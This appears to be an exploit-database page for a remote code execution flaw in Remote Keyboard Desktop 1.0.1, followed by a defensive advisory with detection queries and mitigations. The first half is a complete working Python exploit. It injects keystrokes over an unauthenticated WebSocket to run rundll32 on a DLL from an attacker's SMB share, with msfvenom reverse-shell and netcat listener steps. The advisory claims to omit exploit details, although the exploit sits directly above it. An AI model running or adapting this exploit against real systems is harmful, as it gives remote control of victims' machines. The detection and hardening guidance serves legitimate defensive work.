Remote Keyboard Desktop 1.0.1 - Remote Code Execution (RCE)
# Exploit Title: Remote Keyboard Desktop 1.0.1 - Remote Code Execution (RCE)
# Date: 05/17/2025
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://remotecontrolio.web.app/
# Software Link: https://apps.microsoft.com/detail/9n0jw8v5sc9m?hl=neutral&gl=US&ocid=pdpshare
# Version: 1.0.1
# Tested on: Windows 10 Pro Build 19045
# Start Remote Keyboard Desktop on your windows
# Preparing:
#
# 1. Generating payload (dll/exe):
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.8.105 LPORT=8080 -f dll > shell.dll
# 2. Start smb server: impacket-smbserver SHARE . -smb2support
# 3. nc -lnvp 8080
# 4. python exploit.py
#####
#!/usr/bin/env python3
import websocket
import json
import time
target = "192.168.8.105"
lhost = "192.168.8.101"
WS_URL = f"ws://{target}:8080/"
payload = "shell2.dll" # payload dll/exe filename
debug = False
HEADER_LIST = [
"User-Agent: Dart/3.7 (dart:io)",
f"Origin: http://{target}:8080",
"Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits"
]
#SMB_PATH = f"cmd /c \\\\{lhost}\\SHARE\\{payload}" # exe based
SMB_PATH = f"rundll32.exe \\\\{lhost}\\SHARE\\{payload},ExportedFunc" # dll
based
special_mapping = {
' ': ("SPACE", False),
'/': ("NUMPAD_DIVIDE", False),
'\\': ("\\", False),
'.': ("NUMPAD_DECIMAL", False),
',': (",", False),
}
def send_key_event(ws, key, key_down):
event = {"command": "keyboard_event", "data": {"key": key, "keyDown":
key_down, "capsLock": False}}
ws.send(json.dumps(event))
def send_text(ws, text, delay=0.05):
shift_pressed = False
for ch in text:
if ch in special_mapping:
key_name, need_shift = special_mapping[ch]
elif ch.isalpha():
need_shift = ch.isupper()
key_name = ch.upper()
elif ch.isdigit():
key_name = ch
need_shift = False
else:
raise ValueError(f"No key mapping for character: {ch!r}")
if need_shift and not shift_pressed:
send_key_event(ws, "SHIFT", True)
shift_pressed = True
elif not need_shift and shift_pressed:
send_key_event(ws, "SHIFT", False)
shift_pressed = False
send_key_event(ws, key_name, True)
send_key_event(ws, key_name, False)
time.sleep(delay)
if shift_pressed:
send_key_event(ws, "SHIFT", False)
def send_key(ws, keys, delay=0.05):
for key in keys:
send_key_event(ws, key, True)
time.sleep(delay)
for key in reversed(keys):
send_key_event(ws, key, False)
def on_open(ws):
print ("Let's start!")
send_key(ws, ["LEFT_WINDOWS", "R"])
time.sleep(0.5)
send_text(ws, SMB_PATH)
send_key(ws, ["RETURN"])
print ("Executing...")
time.sleep(1.2)
print("Check your listener!")
if debug:
print("\033[42;37mExploit by blue0x1 - github.com/blue0x1\033[0m
")
ws.close()
def on_message(ws, message):
if debug:
print("[=] Received:", message)
def on_error(ws, error):
if debug:
print("[!] Error:", error)
def on_close(ws, code, reason):
if debug:
print(f"[x] Closed: {code} - {reason}")
if __name__ == "__main__":
websocket.enableTrace(debug)
ws = websocket.WebSocketApp(
WS_URL,
header=HEADER_LIST,
on_open=on_open,
on_message=on_message,
on_error=on_error,
on_close=on_close
)
ws.run_forever() Remote Keyboard Desktop 1.0.1 — Remote Code Execution (RCE) Advisory and Mitigation
This article explains a serious remote code execution (RCE) risk discovered in Remote Keyboard Desktop version 1.0.1, analyzes the root cause, describes realistic attack scenarios and impact, and provides defensive guidance, detection ideas, and secure-development recommendations for vendors and defenders. The goal is to enable responsible remediation and hardening without providing exploit instructions.
Executive summary
Remote Keyboard Desktop (v1.0.1) exposes an unauthenticated WebSocket-based remote-input interface that accepts keyboard events from network clients. When reachable from untrusted networks, that interface can be abused to inject system-level keyboard input, allowing an attacker to perform arbitrary interactions on the target desktop — including launching commands and loading remote binaries — resulting in remote code execution. This is a high-severity design/implementation flaw: unauthenticated, unsanitized remote input controlling the desktop is a direct path to full compromise.
Affected products and scope
- Product: Remote Keyboard Desktop
- Version(s): 1.0.1 (as reported)
- Tested environment: Windows desktop platforms where the app runs with an interactive user session
- Risk surface: Any deployment where the WebSocket control interface is reachable by an attacker (local network, exposed port, or tunneled access)
Vulnerability overview (safe, high‑level)
The application listens for network clients that send structured "keyboard event" messages over a WebSocket connection. Those messages are translated into low-level input events on the active Windows desktop session (simulating keystrokes including modifier keys). Because there is no meaningful authentication, authorization, or user confirmation for incoming connections and the inputs are applied in the context of the logged-in user, a remote unauthenticated client can simulate interactive control and cause arbitrary actions that the user is able to perform — potentially leading to execution of arbitrary code and persistence.
Why this is dangerous
- Keyboard injection is effectively full interactive control of the desktop for the current user session.
- Actions an attacker can perform are bounded only by the current user's privileges; if the user has high privileges (administrator), impact is severe.
- Because the interface accepts generic key events (including modifiers) and applies them to the foreground, an attacker can script sequences that open dialogs, enter commands, and activate system utilities.
Typical attack scenarios (conceptual)
- An attacker on the same LAN discovers an unsecured WebSocket endpoint exposed by the app and connects to send keyboard events to the victim's desktop.
- An exposed endpoint or port-forwarded service reachable from the Internet is abused to remotely control a user's interactive session.
- Phishing or lateral movement: an attacker who obtained local network access or credentials may use the interface to escalate and execute additional payloads.
Indicators of compromise (IoCs) and detection guidance
Detecting abuse relies on a combination of application logs, host telemetry, and network indicators. Below are practical, defensive detection suggestions:
- Monitor process creation events (Sysmon Event ID 1 / Windows Security Event 4688) for rundll32.exe, cmd.exe, powershell.exe executions originating from interactive accounts at unusual times.
- Watch for network connections to the app's listening port (default WebSocket/HTTP port if known). Unusual remote IPs connecting to that port are suspicious.
- Log and alert on creation of network shares or SMB access to remote hosts from an interactive user account.
- Enable and inspect application logs for WebSocket connection events and authentication failures (if any). If the app produces no audit logs, that itself is a risk indicator — lack of authentication should be assumed.
Example Splunk-style search (conceptual) to find suspicious rundll32/process launching events via Sysmon (adjust to your schema and time window):
index=sysmon EventID=1 ProcessName="C:\Windows\System32\rundll32.exe"
| stats count by User, Computer, CommandLine, _time
| where count > 0
Explanation: This search scans process creation logs for rundll32.exe launches, grouping by user and command line to find unusual activity that might indicate remote DLL loading attempts. Tune thresholds and windows for your environment.
Immediate mitigations (for defenders)
- Isolate the host: If you identify an exposed instance of the app, isolate the endpoint from the network while investigating.
- Block the listening port at network perimeter and host firewall to prevent remote connections to the WebSocket control interface.
- Disable or uninstall the application if it is not required or cannot be patched immediately.
- Remove or restrict unnecessary SMB access from the endpoint to untrusted hosts, and enforce authentication and access controls on file shares.
- Enable Windows defensive controls: AppLocker or Windows Defender Application Control (WDAC) to block untrusted binary execution and limit use of rundll32.exe where feasible.
- Reset credentials and rotate secrets for accounts that were active on compromised machines, if compromise is suspected.
Long‑term remediations and security recommendations for vendors
The underlying class of vulnerability is design and implementation: exposing a raw input interface to unauthenticated network clients is inherently unsafe. Vendors should adopt multiple layers of mitigation:
- Authentication and authorization: Require strong mutual authentication (e.g., authenticated WebSocket handshake with tokens / client certificates). Do not accept unauthenticated connections that can control input.
- Encryption and origin validation: Use TLS/WSS to prevent tampering and eavesdropping. Validate Origin headers and implement strict origin checks on WebSocket upgrades, but do not rely on Origin alone for security.
- User consent and UI indicators: Present a visible and persistent on-screen indicator when remote input is active, and require explicit user confirmation for each session.
- Least privilege and sandboxing: Limit what remote input can do — avoid mapping raw network messages directly into OS-level input events. If remote control is needed, use higher-level, intent-based commands with explicit whitelists (for example: "type into textarea X" rather than "send raw keystrokes").
- Audit and logging: Log connection metadata, session start/stop, and each privileged action with sufficient context for post-incident analysis.
- Rate limiting & sanity checks: Implement rate limits and heuristics that detect scripted bursts of input (fast sequences that human users cannot produce) and interrupt the session for review.
- Secure defaults: Bind the control interface to localhost by default and require an administrator to explicitly enable remote access with clear warnings.
Secure coding pattern: authenticate WebSocket upgrades (conceptual)
Below is a safe, conceptual pseudocode example showing how a server should require authentication before enabling any remote input channel. This is defensive guidance, not an exploit. The example demonstrates validating an authentication token at WebSocket upgrade time and rejecting unauthenticated connections.
// Pseudocode (language-agnostic) — require auth token before enabling control
onHttpUpgrade(request, socket):
token = extractBearerToken(request.headers["Authorization"])
if not token or not validateToken(token):
respondWithHttp(socket, 401, "Unauthorized")
close(socket)
return
// Optional: check client certificate or IP allowlist
if not isClientAllowed(request):
respondWithHttp(socket, 403, "Forbidden")
close(socket)
return
ws = acceptWebSocket(request, socket)
ws.on("message", handleClientMessage)
Explanation: At the earliest point in the connection lifecycle (HTTP->WebSocket upgrade), the server checks for a valid bearer token (or other strong auth). If authentication fails, the upgrade is refused and no control channel is established. Additional checks (client certs, allowlists) further reduce exposure.
Design alternative: structured, whitelisted commands
Rather than mapping arbitrary keystrokes, vendors should accept a constrained command model. Below is an illustrative safe schema for remote actions and a server-side validation example.
{
"command": "fill_form",
"target_id": "settings_password",
"value": "•••••••",
"nonce": "unique-session-id",
"timestamp": 1690000000,
"auth": { "token": "..." }
}
Explanation: The JSON schema restricts remote control to defined operations (e.g., fill_form), includes a target identifier so the client cannot interact arbitrarily with the desktop, and carries authentication/nonce data. The server must validate each field, confirm UI focus, and prompt the user for consent before performing privileged operations.
Host hardening guidance (Windows)
- Enable and configure AppLocker/WDAC to block unknown binaries and restrict allowed script interpreters.
- Harden SMB usage: disable SMB v1, limit SMB outbound access through firewall rules, and require authenticated, encrypted SMB sessions where necessary.
- Use host-based firewall rules to block inbound connections to application control ports by default.
- Ensure endpoint detection and response (EDR) solutions are running and that process creation, network connections, and file writes are monitored.
Incident response checklist
- Identify all systems running the vulnerable application and isolate them.
- Collect volatile evidence (process lists, network connections, RAM captures if possible) and persistent logs (event logs, application logs).
- Search for indicators described above (unexpected rundll32, SMB access to unknown hosts, active WebSocket sessions from suspicious IPs).
- Rotate credentials, remove attacker persistence, and rebuild compromised hosts when appropriate.
- Apply vendor patches and hardening measures before returning hosts to production.
Responsible disclosure and coordination
If you are a researcher or system owner who discovers an instance of this problem, follow responsible disclosure practices: notify the vendor privately with reproducer information (without publishing exploit steps), give the vendor time to respond and remedy, and coordinate with any affected parties. Public disclosure should include remediation guidance rather than actionable exploit details.
Summary
The reported RCE vector in Remote Keyboard Desktop 1.0.1 stems from an inherently dangerous design: mapping unauthenticated network input directly to OS-level keyboard events. The immediate defensive actions are to isolate affected hosts, block the control port, and apply host-level protections. Long-term fixes require authentication, encryption, user consent, constrained command models, auditing, and secure-by-default deployment choices. Vendors must treat any network-controllable input surface as a high-risk attack vector and design accordingly.